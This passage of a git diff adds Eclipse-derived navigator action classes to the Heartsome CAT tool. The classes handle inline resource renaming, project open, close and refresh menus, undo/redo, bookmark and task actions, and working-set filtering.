} else if (resource instanceof IFile) { + if (resource.getLocation().toOSString().equals(file.getLocation().toOSString())) { + lstCloseEditor.add(reference); + break; + } + } + } + } + } + final IWorkbenchPage page2 = page; + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + IEditorReference[] arrEditorReference = new IEditorReference[lstCloseEditor.size()]; + page2.closeEditors(lstCloseEditor.toArray(arrEditorReference), false); + } + }); + } + + /* + * Run the receiver using an inline editor from the supplied navigator. The + * navigator will tell the action when the path is ready to run. + */ + private void runWithInlineEditor() { + IResource currentResource = getCurrentResource(); + if (!checkReadOnlyAndNull(currentResource)) { + return; + } + queryNewResourceNameInline(currentResource); + } + + /** + * Return the currently selected resource. Only return an IResouce if there + * is one and only one resource selected. + * + * @return IResource or null if there is zero or more than + * one resources selected. + */ + private IResource getCurrentResource() { + List resources = getSelectedResources(); + if (resources.size() == 1) { + return (IResource) resources.get(0); + } + return null; + + } + + /** + * @param path + * the path + * @param resource + * the resource + */ + protected void runWithNewPath(IPath path, IResource resource) { + this.newPath = path; + super.run(); + } + + void displayError(String message) { + if (message == null) { + message = IDEWorkbenchMessages.WorkbenchAction_internalError; + } + MessageDialog.openError(shellProvider.getShell(), getProblemsTitle(), message); + } + + /** + * Save the changes and dispose of the text widget. + * + * @param resource - + * the resource to move. + */ + private void saveChangesAndDispose(IResource resource) { + if (saving == true) { + return; + } + + saving = true; + // Cache the resource to avoid selection loss since a selection of + // another item can trigger this method + inlinedResource = resource; + final String newName = textEditor.getText(); + // Run this in an async to make sure that the operation that triggered + // this action is completed. Otherwise this leads to problems when the + // icon of the item being renamed is clicked (i.e., which causes the + // rename + // text widget to lose focus and trigger this method). + Runnable query = new Runnable() { + public void run() { + try { + if (!newName.equals(inlinedResource.getName())) { + IWorkspace workspace = IDEWorkbenchPlugin + .getPluginWorkspace(); + IStatus status = workspace.validateName(newName, + inlinedResource.getType()); + if (!status.isOK()) { + displayError(status.getMessage()); + } else { + IPath newPath = inlinedResource.getFullPath() + .removeLastSegments(1).append(newName); + runWithNewPath(newPath, inlinedResource); + } + } + inlinedResource = null; + // Dispose the text widget regardless + disposeTextWidget(); + // Ensure the Navigator tree has focus, which it may not if + // the + // text widget previously had focus. + if (navigatorTree != null && !navigatorTree.isDisposed()) { + navigatorTree.setFocus(); + } + } finally { + saving = false; + } + } + }; + getTree().getShell().getDisplay().asyncExec(query); + } + + /** + * The RenameResourceAction implementation of this + * SelectionListenerAction method ensures that this action is + * disabled if any of the selections are not resources or resources that are + * not local. + */ + protected boolean updateSelection(IStructuredSelection selection) { + disposeTextWidget(); + + if (selection.size() > 1) { + return false; + } + if (!super.updateSelection(selection)) { + return false; + } + + IResource currentResource = getCurrentResource(); + if (currentResource == null || !currentResource.exists()) { + return false; + } + + return true; + } + + /** + * Set the text action handler. + * + * @param actionHandler + * the action handler + */ + public void setTextActionHandler(TextActionHandler actionHandler) { + textActionHandler = actionHandler; + } + + /** + * Returns the model provider ids that are known to the client that + * instantiated this operation. + * + * @return the model provider ids that are known to the client that + * instantiated this operation. + * @since 3.2 + */ + public String[] getModelProviderIds() { + return modelProviderIds; + } + + /** + * Sets the model provider ids that are known to the client that + * instantiated this operation. Any potential side effects reported by these + * models during validation will be ignored. + * + * @param modelProviderIds + * the model providers known to the client who is using this + * operation. + * @since 3.2 + */ + public void setModelProviderIds(String[] modelProviderIds) { + this.modelProviderIds = modelProviderIds; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.actions.WorkspaceAction#createOperation(org.eclipse.core.runtime.IStatus[]) + * + * Overridden to create and execute an undoable operation that performs the + * rename. + * @since 3.3 + */ + protected IRunnableWithProgress createOperation(final IStatus[] errorStatus) { + return new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) { + IResource[] resources = (IResource[]) getActionResources() + .toArray(new IResource[getActionResources().size()]); + // Rename is only valid for a single resource. This has already + // been validated. + if (resources.length == 1) { + // check for overwrite + IWorkspaceRoot workspaceRoot = resources[0].getWorkspace() + .getRoot(); + IResource newResource = workspaceRoot.findMember(newPath); + boolean go = true; + if (newResource != null) { + go = checkOverwrite(shellProvider.getShell(), newResource); + } + if (go) { + MoveResourcesOperation op = new MoveResourcesOperation( + resources[0], + newPath, + IDEWorkbenchMessages.RenameResourceAction_operationTitle); + op.setModelProviderIds(getModelProviderIds()); + try { + PlatformUI + .getWorkbench() + .getOperationSupport() + .getOperationHistory() + .execute( + op, + monitor, + WorkspaceUndoUtil + .getUIInfoAdapter(shellProvider.getShell())); + } catch (ExecutionException e) { + if (e.getCause() instanceof CoreException) { + errorStatus[0] = ((CoreException) e.getCause()) + .getStatus(); + } else { + errorStatus[0] = new Status(IStatus.ERROR, + PlatformUI.PLUGIN_ID, + getProblemsMessage(), e); + } + } + } + } + } + }; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmtActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmtActionProvider.java new file mode 100644 index 0000000..4f27c9d --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/ResourceMgmtActionProvider.java @@ -0,0 +1,267 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.lang.reflect.InvocationTargetException; +import java.util.Iterator; + +import org.eclipse.core.resources.ICommand; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.WorkspaceJob; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.ISchedulingRule; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredViewer; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IWorkbenchCommandConstants; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.CloseResourceAction; +import org.eclipse.ui.actions.OpenResourceAction; +import org.eclipse.ui.actions.RefreshAction; +import org.eclipse.ui.actions.WorkspaceModifyOperation; +import org.eclipse.ui.ide.IDEActionFactory; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.navigator.NavigatorPlugin; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.ICommonMenuConstants; + +/** + * @since 3.2 + */ +public class ResourceMgmtActionProvider extends CommonActionProvider { + + // private BuildAction buildAction; + // + private OpenResourceAction openProjectAction; + // + private CloseResourceAction closeProjectAction; + // + // private CloseUnrelatedProjectsAction closeUnrelatedProjectsAction; + + private RefreshAction refreshAction; + + private Shell shell; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonActionProvider#init(org.eclipse.ui.navigator .ICommonActionExtensionSite) + */ + public void init(ICommonActionExtensionSite aSite) { + super.init(aSite); + shell = aSite.getViewSite().getShell(); + makeActions(); + } + + public void fillActionBars(IActionBars actionBars) { + actionBars.setGlobalActionHandler(ActionFactory.REFRESH.getId(), refreshAction); + // actionBars.setGlobalActionHandler(IDEActionFactory.BUILD_PROJECT.getId(), buildAction); + actionBars.setGlobalActionHandler(IDEActionFactory.OPEN_PROJECT.getId(), openProjectAction); + actionBars.setGlobalActionHandler(IDEActionFactory.CLOSE_PROJECT.getId(), closeProjectAction); + // actionBars.setGlobalActionHandler(IDEActionFactory.CLOSE_UNRELATED_PROJECTS.getId(), + // closeUnrelatedProjectsAction); + updateActionBars(); + } + + /** + * Adds the build, open project, close project and refresh resource actions to the context menu. + *

    + * The following conditions apply: build-only projects selected, auto build disabled, at least one builder present + * open project-only projects selected, at least one closed project close project-only projects selected, at least + * one open project refresh-no closed project selected + *

    + *

    + * Both the open project and close project action may be on the menu at the same time. + *

    + *

    + * No disabled action should be on the context menu. + *

    + * @param menu + * context menu to add actions to + */ + public void fillContextMenu(IMenuManager menu) { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + boolean isProjectSelection = true; + boolean hasOpenProjects = false; + boolean hasClosedProjects = false; + boolean hasBuilder = true; // false if any project is closed or does not + // have builder + Iterator resources = selection.iterator(); + + while (resources.hasNext() && (!hasOpenProjects || !hasClosedProjects || hasBuilder || isProjectSelection)) { + Object next = resources.next(); + IProject project = null; + + if (next instanceof IProject) { + project = (IProject) next; + } else if (next instanceof IAdaptable) { + project = (IProject) ((IAdaptable) next).getAdapter(IProject.class); + } + + if (project == null) { + isProjectSelection = false; + continue; + } + if (project.isOpen()) { + hasOpenProjects = true; + if (hasBuilder && !hasBuilder(project)) { + hasBuilder = false; + } + } else { + hasClosedProjects = true; + hasBuilder = false; + } + } + // if (!selection.isEmpty() && isProjectSelection && !ResourcesPlugin.getWorkspace().isAutoBuilding() && + // hasBuilder) { + // // Allow manual incremental build only if auto build is off. + // buildAction.selectionChanged(selection); + // menu.appendToGroup(ICommonMenuConstants.GROUP_BUILD, buildAction); + // } + if (isProjectSelection) { + if (hasClosedProjects) { + openProjectAction.selectionChanged(selection); + menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, openProjectAction); + } + if (hasOpenProjects) { + closeProjectAction.selectionChanged(selection); + menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, closeProjectAction); + // closeUnrelatedProjectsAction.selectionChanged(selection); + // menu.appendToGroup(ICommonMenuConstants.GROUP_BUILD, closeUnrelatedProjectsAction); + } + } + if (!hasClosedProjects) { + refreshAction.selectionChanged(selection); + refreshAction.setEnabled(!selection.isEmpty()); + menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, refreshAction); + } + } + + /** + * Returns whether there are builders configured on the given project. + * @return true if it has builders, false if not, or if this could not be determined + */ + boolean hasBuilder(IProject project) { + try { + ICommand[] commands = project.getDescription().getBuildSpec(); + if (commands.length > 0) { + return true; + } + } catch (CoreException e) { + // Cannot determine if project has builders. Project is closed + // or does not exist. Fall through to return false. + } + return false; + } + + protected void makeActions() { + IShellProvider sp = new IShellProvider() { + public Shell getShell() { + return shell; + } + }; + + openProjectAction = new OpenResourceAction(sp); + openProjectAction.setText(WorkbenchNavigatorMessages.actions_ResourceMgmtActionProvider_openProjectAction); + + closeProjectAction = new CloseResourceAction(sp); + closeProjectAction.setText(WorkbenchNavigatorMessages.actions_ResourceMgmtActionProvider_closeProjectAction); + // + // closeUnrelatedProjectsAction = new CloseUnrelatedProjectsAction(sp); + // closeUnrelatedProjectsAction.setText("关闭无关的项目"); + + refreshAction = new RefreshAction(sp) { + public void run() { + final IStatus[] errorStatus = new IStatus[1]; + errorStatus[0] = Status.OK_STATUS; + final WorkspaceModifyOperation op = (WorkspaceModifyOperation) createOperation(errorStatus); + WorkspaceJob job = new WorkspaceJob("refresh") { //$NON-NLS-1$ + + public IStatus runInWorkspace(IProgressMonitor monitor) throws CoreException { + try { + op.run(monitor); + if (shell != null && !shell.isDisposed()) { + shell.getDisplay().asyncExec(new Runnable() { + public void run() { + StructuredViewer viewer = getActionSite().getStructuredViewer(); + if (viewer != null && viewer.getControl() != null + && !viewer.getControl().isDisposed()) { + viewer.refresh(); + } + } + }); + } + } catch (InvocationTargetException e) { + String msg = NLS.bind(WorkbenchNavigatorMessages.actions_ResourceMgmtActionProvider_logTitle, + getClass().getName(), e.getTargetException()); + throw new CoreException(new Status(IStatus.ERROR, NavigatorPlugin.PLUGIN_ID, IStatus.ERROR, + msg, e.getTargetException())); + } catch (InterruptedException e) { + return Status.CANCEL_STATUS; + } + return errorStatus[0]; + } + + }; + ISchedulingRule rule = op.getRule(); + if (rule != null) { + job.setRule(rule); + } + job.setUser(true); + job.schedule(); + } + }; + refreshAction.setText(WorkbenchNavigatorMessages.actions_ResourceMgmtActionProvider_refreshAction); + refreshAction.setDisabledImageDescriptor(getImageDescriptor("dlcl16/refresh_nav.gif"));//$NON-NLS-1$ + refreshAction.setImageDescriptor(getImageDescriptor("elcl16/refresh_nav.gif"));//$NON-NLS-1$ + refreshAction.setActionDefinitionId(IWorkbenchCommandConstants.FILE_REFRESH); + if (getContext() == null) { + refreshAction.setEnabled(false); + } else { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + refreshAction.selectionChanged(selection); + refreshAction.setEnabled(!selection.isEmpty()); + } + + // buildAction = new BuildAction(sp, IncrementalProjectBuilder.INCREMENTAL_BUILD); + // buildAction.setActionDefinitionId(IWorkbenchCommandConstants.PROJECT_BUILD_PROJECT); + } + + /** + * Returns the image descriptor with the given relative path. + */ + protected ImageDescriptor getImageDescriptor(String relativePath) { + return IDEWorkbenchPlugin.getIDEImageDescriptor(relativePath); + + } + + public void updateActionBars() { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + refreshAction.selectionChanged(selection); + // buildAction.selectionChanged(selection); + openProjectAction.selectionChanged(selection); + // closeUnrelatedProjectsAction.selectionChanged(selection); + closeProjectAction.selectionChanged(selection); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/UndoRedoActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/UndoRedoActionProvider.java new file mode 100644 index 0000000..ea15c80 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/UndoRedoActionProvider.java @@ -0,0 +1,67 @@ +/******************************************************************************* + * Copyright (c) 2006, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * (was originally RefactorActionProvider.java) + * Oakland Software (Francis Upton - francisu@ieee.org) + * bug 214271 Undo/redo not enabled if nothing selected + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.actions.ActionContext; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.ICommonViewerWorkbenchSite; +import org.eclipse.ui.operations.UndoRedoActionGroup; + +/** + * @since 3.4 + * + */ +public class UndoRedoActionProvider extends CommonActionProvider { + + private UndoRedoActionGroup undoRedoGroup; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonActionProvider#init(org.eclipse.ui.navigator.ICommonActionExtensionSite) + */ + public void init(ICommonActionExtensionSite anActionSite) { + IUndoContext workspaceContext = (IUndoContext) ResourcesPlugin + .getWorkspace().getAdapter(IUndoContext.class); + undoRedoGroup = new UndoRedoActionGroup(((ICommonViewerWorkbenchSite) anActionSite.getViewSite()).getSite(), + workspaceContext, true); + } + + public void dispose() { + undoRedoGroup.dispose(); + } + + public void fillActionBars(IActionBars actionBars) { + undoRedoGroup.fillActionBars(actionBars); + } + + public void fillContextMenu(IMenuManager menu) { + undoRedoGroup.fillContextMenu(menu); + } + + public void setContext(ActionContext context) { + undoRedoGroup.setContext(context); + } + + public void updateActionBars() { + undoRedoGroup.updateActionBars(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkManagementActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkManagementActionProvider.java new file mode 100644 index 0000000..5eaa640 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkManagementActionProvider.java @@ -0,0 +1,80 @@ +/******************************************************************************* + * Copyright (c) 2005, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.actions.ActionContext; +import org.eclipse.ui.actions.AddBookmarkAction; +import org.eclipse.ui.actions.AddTaskAction; +import org.eclipse.ui.ide.IDEActionFactory; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; + +/** + * Supports Add Task and Add Bookmark actions. + * + * @since 3.2 + * + */ +public class WorkManagementActionProvider extends CommonActionProvider { + + private AddTaskAction addTaskAction; + + private AddBookmarkAction addBookmarkAction; + + public void init(ICommonActionExtensionSite aSite) { + final Shell shell = aSite.getViewSite().getShell(); + IShellProvider sp = new IShellProvider() { + public Shell getShell() { + return shell; + } + }; + addBookmarkAction = new AddBookmarkAction(sp, true); + addTaskAction = new AddTaskAction(sp); + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.actions.ActionGroup#fillActionBars(org.eclipse.ui.IActionBars + * ) + */ + public void fillActionBars(IActionBars actionBars) { + super.fillActionBars(actionBars); + actionBars.setGlobalActionHandler(IDEActionFactory.BOOKMARK.getId(), addBookmarkAction); + actionBars.setGlobalActionHandler(IDEActionFactory.ADD_TASK.getId(), addTaskAction); + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.actions.ActionGroup#setContext(org.eclipse.ui.actions. + * ActionContext) + */ + public void setContext(ActionContext context) { + super.setContext(context); + if (context != null && context.getSelection() instanceof IStructuredSelection) { + IStructuredSelection sSel = (IStructuredSelection) context.getSelection(); + addBookmarkAction.selectionChanged(sSel); + addTaskAction.selectionChanged(sSel); + } else { + addBookmarkAction.selectionChanged(StructuredSelection.EMPTY); + addTaskAction.selectionChanged(StructuredSelection.EMPTY); + } + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetActionProvider.java new file mode 100644 index 0000000..025f4ac --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/WorkingSetActionProvider.java @@ -0,0 +1,403 @@ +/******************************************************************************* + * Copyright (c) 2006, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * anton.leherbauer@windriver.com - bug 212389 [CommonNavigator] working set issues: + * missing project, window working set inconsistency + *******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IAggregateWorkingSet; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.IWorkbenchPreferenceConstants; +import org.eclipse.ui.IWorkingSet; +import org.eclipse.ui.IWorkingSetManager; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ResourceWorkingSetFilter; +import org.eclipse.ui.actions.WorkingSetFilterActionGroup; +import org.eclipse.ui.internal.navigator.NavigatorFilterService; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.CommonViewer; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.IExtensionActivationListener; +import org.eclipse.ui.navigator.IExtensionStateModel; +import org.eclipse.ui.navigator.INavigatorContentService; + +/** + * @since 3.2 + * + */ +public class WorkingSetActionProvider extends CommonActionProvider { + + private static final String TAG_CURRENT_WORKING_SET_NAME = "currentWorkingSetName"; //$NON-NLS-1$ + + private static final String WORKING_SET_FILTER_ID = "org.eclipse.ui.navigator.resources.filters.workingSet"; //$NON-NLS-1$ + + private boolean contributedToViewMenu = false; + + private CommonViewer viewer; + + private INavigatorContentService contentService; + + private NavigatorFilterService filterService; + + private WorkingSetFilterActionGroup workingSetActionGroup; + private WorkingSetRootModeActionGroup workingSetRootModeActionGroup; + + private Object originalViewerInput = ResourcesPlugin.getWorkspace().getRoot(); + + private IExtensionStateModel extensionStateModel; + + private boolean emptyWorkingSet; + private IWorkingSet workingSet; + + private IPropertyChangeListener topLevelModeListener; + + private boolean ignoreFilterChangeEvents; + + /** + * Provides a smart listener to monitor changes to the Working Set Manager. + * + */ + public class WorkingSetManagerListener implements IPropertyChangeListener { + + private boolean listening = false; + + public void propertyChange(PropertyChangeEvent event) { + String property = event.getProperty(); + Object newValue = event.getNewValue(); + Object oldValue = event.getOldValue(); + + String newLabel = null; + if (IWorkingSetManager.CHANGE_WORKING_SET_REMOVE.equals(property) && oldValue == workingSet) { + newLabel = ""; //$NON-NLS-1$ + setWorkingSet(null); + } else if (IWorkingSetManager.CHANGE_WORKING_SET_NAME_CHANGE.equals(property) && newValue == workingSet) { + newLabel = workingSet.getLabel(); + } else if (IWorkingSetManager.CHANGE_WORKING_SET_CONTENT_CHANGE.equals(property) && newValue == workingSet) { + if (workingSet.isAggregateWorkingSet() && workingSet.isEmpty()) { + // act as if the working set has been made null + if (!emptyWorkingSet) { + emptyWorkingSet = true; + setWorkingSetFilter(null); + newLabel = null; + } + } else { + // we've gone from empty to non-empty on our set. + // Restore it. + if (emptyWorkingSet) { + emptyWorkingSet = false; + setWorkingSetFilter(workingSet); + newLabel = workingSet.getLabel(); + } + } + } + if (viewer != null) { + if (newLabel != null) + viewer.getCommonNavigator().setWorkingSetLabel(newLabel); + viewer.getFrameList().reset(); + viewer.refresh(); + } + } + + /** + * Begin listening to the correct source if not already listening. + */ + public synchronized void listen() { + if (!listening) { + PlatformUI.getWorkbench().getWorkingSetManager().addPropertyChangeListener(managerChangeListener); + listening = true; + } + } + + /** + * Begin listening to the correct source if not already listening. + */ + public synchronized void ignore() { + if (listening) { + PlatformUI.getWorkbench().getWorkingSetManager().removePropertyChangeListener(managerChangeListener); + listening = false; + } + } + } + + private IPropertyChangeListener filterChangeListener = new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + + if (ignoreFilterChangeEvents) + return; + + IWorkingSet newWorkingSet = (IWorkingSet) event.getNewValue(); + + setWorkingSet(newWorkingSet); + if (newWorkingSet != null) { + if (!contentService.isActive(WorkingSetsContentProvider.EXTENSION_ID)) { + contentService.getActivationService().activateExtensions( + new String[] { WorkingSetsContentProvider.EXTENSION_ID }, false); + contentService.getActivationService().persistExtensionActivations(); + } + if (newWorkingSet.isAggregateWorkingSet()) { + IAggregateWorkingSet agWs = (IAggregateWorkingSet) newWorkingSet; + IWorkingSet[] comps = agWs.getComponents(); + if (comps.length > 1) { + viewer.getCommonNavigator().setWorkingSetLabel( + WorkbenchNavigatorMessages.actions_WorkingSetActionProvider_multipleWorkingSets); + } else if (comps.length > 0) { + viewer.getCommonNavigator().setWorkingSetLabel(comps[0].getLabel()); + } else { + viewer.getCommonNavigator().setWorkingSetLabel(null); + } + } else + viewer.getCommonNavigator().setWorkingSetLabel(workingSet.getLabel()); + } else { + viewer.getCommonNavigator().setWorkingSetLabel(null); + } + + viewer.getFrameList().reset(); + } + }; + + private WorkingSetManagerListener managerChangeListener = new WorkingSetManagerListener(); + + private IExtensionActivationListener activationListener = new IExtensionActivationListener() { + + private IWorkingSet savedWorkingSet; + + public void onExtensionActivation(String aViewerId, String[] theNavigatorExtensionIds, boolean isActive) { + + for (int i = 0; i < theNavigatorExtensionIds.length; i++) { + if (WorkingSetsContentProvider.EXTENSION_ID.equals(theNavigatorExtensionIds[i])) { + if (isActive) { + extensionStateModel = contentService.findStateModel(WorkingSetsContentProvider.EXTENSION_ID); + workingSetRootModeActionGroup.setStateModel(extensionStateModel); + extensionStateModel.addPropertyChangeListener(topLevelModeListener); + + if (savedWorkingSet != null) { + setWorkingSet(savedWorkingSet); + } + managerChangeListener.listen(); + + } else { + savedWorkingSet = workingSet; + setWorkingSet(null); + viewer.getCommonNavigator().setWorkingSetLabel(null); + managerChangeListener.ignore(); + workingSetRootModeActionGroup.setShowTopLevelWorkingSets(false); + extensionStateModel.removePropertyChangeListener(topLevelModeListener); + + } + } + } + } + + }; + + public void init(ICommonActionExtensionSite aSite) { + viewer = (CommonViewer) aSite.getStructuredViewer(); + contentService = aSite.getContentService(); + filterService = (NavigatorFilterService) contentService.getFilterService(); + + extensionStateModel = contentService.findStateModel(WorkingSetsContentProvider.EXTENSION_ID); + + workingSetActionGroup = new WorkingSetFilterActionGroup(aSite.getViewSite().getShell(), filterChangeListener); + workingSetRootModeActionGroup = new WorkingSetRootModeActionGroup(viewer, extensionStateModel); + + topLevelModeListener = new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + setWorkingSet(workingSet); + viewer.getFrameList().reset(); + } + }; + + if (contentService.isActive(WorkingSetsContentProvider.EXTENSION_ID)) { + managerChangeListener.listen(); + extensionStateModel.addPropertyChangeListener(topLevelModeListener); + } + + contentService.getActivationService().addExtensionActivationListener(activationListener); + } + + /** + * Restores the working set filter from the persistence store. + */ + protected void initWorkingSetFilter(String workingSetName) { + IWorkingSet workingSet = null; + + if (workingSetName != null && workingSetName.length() > 0) { + IWorkingSetManager workingSetManager = PlatformUI.getWorkbench().getWorkingSetManager(); + workingSet = workingSetManager.getWorkingSet(workingSetName); + } else if (PlatformUI.getPreferenceStore().getBoolean( + IWorkbenchPreferenceConstants.USE_WINDOW_WORKING_SET_BY_DEFAULT)) { + // use the window set by default if the global preference is set + workingSet = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getAggregateWorkingSet(); + } + + if (workingSet != null) { + setWorkingSet(workingSet); + } + } + + private void setWorkingSetFilter(IWorkingSet workingSet) { + setWorkingSetFilter(workingSet, FIRST_TIME); + } + + private static final boolean FIRST_TIME = true; + + private void setWorkingSetFilter(IWorkingSet workingSet, boolean firstTime) { + ResourceWorkingSetFilter workingSetFilter = null; + ViewerFilter[] filters = viewer.getFilters(); + for (int i = 0; i < filters.length; i++) { + if (filters[i] instanceof ResourceWorkingSetFilter) { + workingSetFilter = (ResourceWorkingSetFilter) filters[i]; + break; + } + } + if (workingSetFilter == null) { + if (firstTime) { + filterService.addActiveFilterIds(new String[] { WORKING_SET_FILTER_ID }); + filterService.updateViewer(); + setWorkingSetFilter(workingSet, !FIRST_TIME); + return; + } + WorkbenchNavigatorPlugin.log("Required filter " + WORKING_SET_FILTER_ID + //$NON-NLS-1$ + " is not present. Working set support will not function correctly.", //$NON-NLS-1$ + new Status(IStatus.ERROR, WorkbenchNavigatorPlugin.PLUGIN_ID, "")); //$NON-NLS-1$ + return; + } + workingSetFilter.setWorkingSet(emptyWorkingSet ? null : workingSet); + } + + /** + * Set current active working set. + * + * @param workingSet + * working set to be activated, may be null + */ + protected void setWorkingSet(IWorkingSet workingSet) { + this.workingSet = workingSet; + emptyWorkingSet = workingSet != null && workingSet.isAggregateWorkingSet() && workingSet.isEmpty(); + + ignoreFilterChangeEvents = true; + try { + workingSetActionGroup.setWorkingSet(workingSet); + } finally { + ignoreFilterChangeEvents = false; + } + + if (viewer != null) { + setWorkingSetFilter(workingSet); + if (workingSet == null || emptyWorkingSet + || !extensionStateModel.getBooleanProperty(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS)) { + if (viewer.getInput() != originalViewerInput) { + viewer.setInput(originalViewerInput); + } else { + viewer.refresh(); + } + } else { + if (!workingSet.isAggregateWorkingSet()) { + IWorkingSetManager workingSetManager = PlatformUI.getWorkbench().getWorkingSetManager(); + viewer.setInput(workingSetManager.createAggregateWorkingSet( + "", "", new IWorkingSet[] { workingSet })); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + viewer.setInput(workingSet); + } + } + } + } + + public void restoreState(final IMemento aMemento) { + super.restoreState(aMemento); + + // Need to run this async to avoid being reentered when processing a selection change + viewer.getControl().getShell().getDisplay().asyncExec(new Runnable() { + public void run() { + boolean showWorkingSets = true; + if (aMemento != null) { + Integer showWorkingSetsInt = aMemento + .getInteger(WorkingSetsContentProvider.SHOW_TOP_LEVEL_WORKING_SETS); + showWorkingSets = showWorkingSetsInt == null || showWorkingSetsInt.intValue() == 1; + 